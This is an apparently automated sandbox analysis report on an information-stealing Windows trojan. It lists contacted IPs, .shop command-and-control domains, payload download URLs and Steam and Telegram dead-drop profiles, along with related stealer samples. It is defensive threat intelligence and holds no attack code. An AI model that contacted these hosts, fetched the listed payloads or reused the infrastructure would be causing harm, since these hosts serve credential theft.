https://cdn.epnacl	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
grassemenwji.shop	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	21%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.phpt.bundle.js	100%	Avira URL Cloud	malware
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
https://159.69.100.83EBAK	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199768374681	0%	Avira URL Cloud	safe
https://brasstech.in/vnfdamfs.exeA5Q.(	0%	Avira URL Cloud	safe
https://basedsymsotp.shop/api	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	Avira URL Cloud	malware
https://sketchfab.com	0%	Avira URL Cloud	safe
https://brasstech.in/shbwdh.exe1kkkk1117893https://brasstech.in/vnfdamfs.exe1kkkkZ	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://www.youtube.com/	0%	Avira URL Cloud	safe
https://159.69.100.83/freebl3.dll	0%	Avira URL Cloud	safe
https://159.69.100.83/nss3.dll	0%	Avira URL Cloud	safe
http://46.8.231.109	100%	Avira URL Cloud	malware
https://cdn.ep	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exeXO	100%	Avira URL Cloud	malware
http://46.8.231.109FCBAKKF-data;	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	Avira URL Cloud	safe
https://tenntysjuxmz.shop/apiz	100%	Avira URL Cloud	malware
https://store.X	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://159.69.100.83GDGI	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.phpry=----BAKEBAFIIECBGCAAAAFCefault-release	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199768374681i11ihellosqlp.dllMozilla/5.0	0%	Avira URL Cloud	safe
https://brasstech.in/	6%	Virustotal		Browse
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll8pV	100%	Avira URL Cloud	malware
http://crl.entrust.net/2048ca.crl0	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	Avira URL Cloud	safe
https://store.steampowered.com/;	0%	Avira URL Cloud	safe
https://www.entrust.net/rpa0	0%	Avira URL Cloud	safe
https://commisionipwn.shop/apiT	100%	Avira URL Cloud	malware
https://t.me/	0%	Avira URL Cloud	safe
https://stitchmiscpaew.shop/api	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
charistmatwio.shop	188.114.96.3	true	true	18%, Virustotal, Browse	unknown
steamcommunity.com	23.50.98.133	true	true	0%, Virustotal, Browse	unknown
grassemenwji.shop	188.114.97.3	true	true	18%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
stitchmiscpaew.shop	104.21.26.150	true	true	18%, Virustotal, Browse	unknown
commisionipwn.shop	188.114.96.3	true	true	18%, Virustotal, Browse	unknown
complainnykso.shop	188.114.97.3	true	true	18%, Virustotal, Browse	unknown
brasstech.in	192.185.139.21	true	false	6%, Virustotal, Browse	unknown
basedsymsotp.shop	172.67.221.198	true	true	18%, Virustotal, Browse	unknown
ignoracndwko.shop	unknown	unknown	true	19%, Virustotal, Browse	unknown
preachstrwnwjw.shop	unknown	unknown	true	19%, Virustotal, Browse	unknown
tenntysjuxmz.shop	unknown	unknown	false	26%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://159.69.100.83/softokn3.dll	true	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.php	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
preachstrwnwjw.shop	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://t.me/edm0d	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://159.69.100.83/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://grassemenwji.shop/api	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://charistmatwio.shop/api	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://159.69.100.83/sqlp.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
stitchmiscpaew.shop	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exe	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://complainnykso.shop/api	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
grassemenwji.shop	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199768374681	true	Avira URL Cloud: safe	unknown
https://basedsymsotp.shop/api	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	Avira URL Cloud: malware	unknown
https://159.69.100.83/freebl3.dll	true	Avira URL Cloud: safe	unknown
https://159.69.100.83/nss3.dll	true	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	Avira URL Cloud: malware	unknown
https://stitchmiscpaew.shop/api	true	Avira URL Cloud: malware	unknown
https://brasstech.in/shbwdh.exe	false	Avira URL Cloud: malware	unknown
http://46.8.231.109/	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BKECFI.4.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BKECFI.4.dr	false	URL Reputation: safe	unknown
https://159.69.100.83	RegAsm.exe, 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpY	RegAsm.exe, 0000000B.00000002.2879154437.00000000340D0000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(pV	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://159.69.100.83/msvcp140.dll%rS/.	RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://brasstech.in/vnfdamfs.exet-Disposition:	RegAsm.exe, 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://159.69.100.83/nss3.dll?S	RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/edm0di11iMozilla/5.0	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2856072022.000000000401B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4586314572.0000000000436000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://stitchmiscpaew.shop/D	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.com	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://gacan.zapto.org_DEBUG.zip/c	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://159.69.100.83/vcruntime140.dll(qJ/)	RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stitchmiscpaew.shop/2	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://brasstech.in/	RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2879154437.00000000340D0000.00000004.00000020.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://s.ytimg.com;	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://159.69.100.83/freebl3.dllCrm/1	RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://brasstech.in/V	RegAsm.exe, 0000000B.00000002.2879154437.00000000340D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.epnacl	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 0000000B.00000002.2881081454.000000006C5AD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.4.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpt.bundle.js	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.entrust.net/rpa03	RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
https://159.69.100.83EBAK	RegAsm.exe, 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DHIEHIIEHIEHJKEBKEHJ.11.dr	false	Avira URL Cloud: safe	unknown
https://brasstech.in/vnfdamfs.exeA5Q.(	RegAsm.exe, 00000004.00000002.4592558675.0000000001244000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BKECFI.4.dr	false	URL Reputation: safe	unknown
https://sketchfab.com	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp, BKECFI.4.dr	false	URL Reputation: safe	unknown
https://brasstech.in/shbwdh.exe1kkkk1117893https://brasstech.in/vnfdamfs.exe1kkkkZ	RegAsm.exe, 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lv.queniujq.cn	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BFCFBF.4.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109	RegAsm.exe, 0000000B.00000002.2842405212.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2842405212.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cdn.ep	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exeXO	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://46.8.231.109FCBAKKF-data;	RegAsm.exe, 0000000B.00000002.2842405212.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	BFCFBF.4.dr	false	Avira URL Cloud: safe	unknown
https://tenntysjuxmz.shop/apiz	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://store.X	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://159.69.100.83GDGI	RegAsm.exe, 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----BAKEBAFIIECBGCAAAAFCefault-release	RegAsm.exe, 0000000B.00000002.2842405212.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://tenntysjuxmz.shop/	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2911320361.0000000001131000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2911320361.000000000114E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: phishing	unknown
https://steamcommunity.com/profiles/76561199768374681i11ihellosqlp.dllMozilla/5.0	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2856072022.000000000401B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4586314572.0000000000436000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll8pV	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
https://commisionipwn.shop/apiT	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/	RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exepN	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/edm0d&	RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net02	RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	false	Avira URL Cloud: safe	unknown
https://159.69.100.83hbwdh.exeent-Disposition:	RegAsm.exe, 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://brasstech.in/vnfdamfs.exez	RegAsm.exe, 0000000B.00000002.2871528825.00000000273F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp, BKECFI.4.dr	false	URL Reputation: safe	unknown
https://tenntysjuxmz.shop/apiI	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	false	Avira URL Cloud: safe	unknown
https://recaptcha.net/recaptcha/;	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://medal.tv	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://159.69.100.83/nss3.dll$R	RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stitchmiscpaew.shop/	RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp, BKECFI.4.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllfN	RegAsm.exe, 0000000B.00000002.2850533577.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
188.114.97.3	grassemenwji.shop	European Union	13335	CLOUDFLARENETUS	true
172.67.221.198	basedsymsotp.shop	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	charistmatwio.shop	European Union	13335	CLOUDFLARENETUS	true
104.21.26.150	stitchmiscpaew.shop	United States	13335	CLOUDFLARENETUS	true
159.69.100.83	unknown	Germany	24940	HETZNER-ASDE	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
23.50.98.133	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
192.185.139.21	brasstech.in	United States	46606	UNIFIEDLAYER-AS-1US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511569
Start date and time:	2024-09-15 19:35:43 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@36/51@12/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 82 Number of non-executed functions: 239
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:37:03	API Interceptor	2x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	SecuriteInfo.com.Win32.PWSX-gen.10451.24033.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	SecuriteInfo.com.Trojan.DownLoader47.29560.25432.19798.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	IM5Ov6yzm3CzKUodDTWqZSXo.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	aNj1aFSOxohqZwe847hVpx4K.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
188.114.97.3	SecuriteInfo.com.Trojan.Siggen29.8143.15092.30622.exe	Get hash	malicious	Xmrig	Browse	down.mvip8.ru/7z.dll
	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	web.ad87h92j.com/4/t.bmp
	8CoDx513sS.exe	Get hash	malicious	Nitol	Browse	web.ad87h92j.com/4/t.bmp
	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	infofunctionboard.autos/check-online
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/link.sbstck.com/redirect/9f1a559b-1924-42a1-ac63-d801d0b621e3?j=eyJ1IjoiNGQydGxqIn0.nUqvCKS4pzEN7oIgjX67rfaG_zpqbsbEevJ7SYpXFUg	Get hash	malicious	HTMLPhisher	Browse	link.sbstck.com/redirect/9f1a559b-1924-42a1-ac63-d801d0b621e3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/lPrdr8CZ/download
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/assb/
	http://aivx.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	aivx.pages.dev/favicon.ico
	Comprobante.PDF867564575869708776565434576897.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sweetwhore/five/fre.php
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/altr/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grassemenwji.shop	SecuriteInfo.com.Win32.PWSX-gen.24492.19038.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
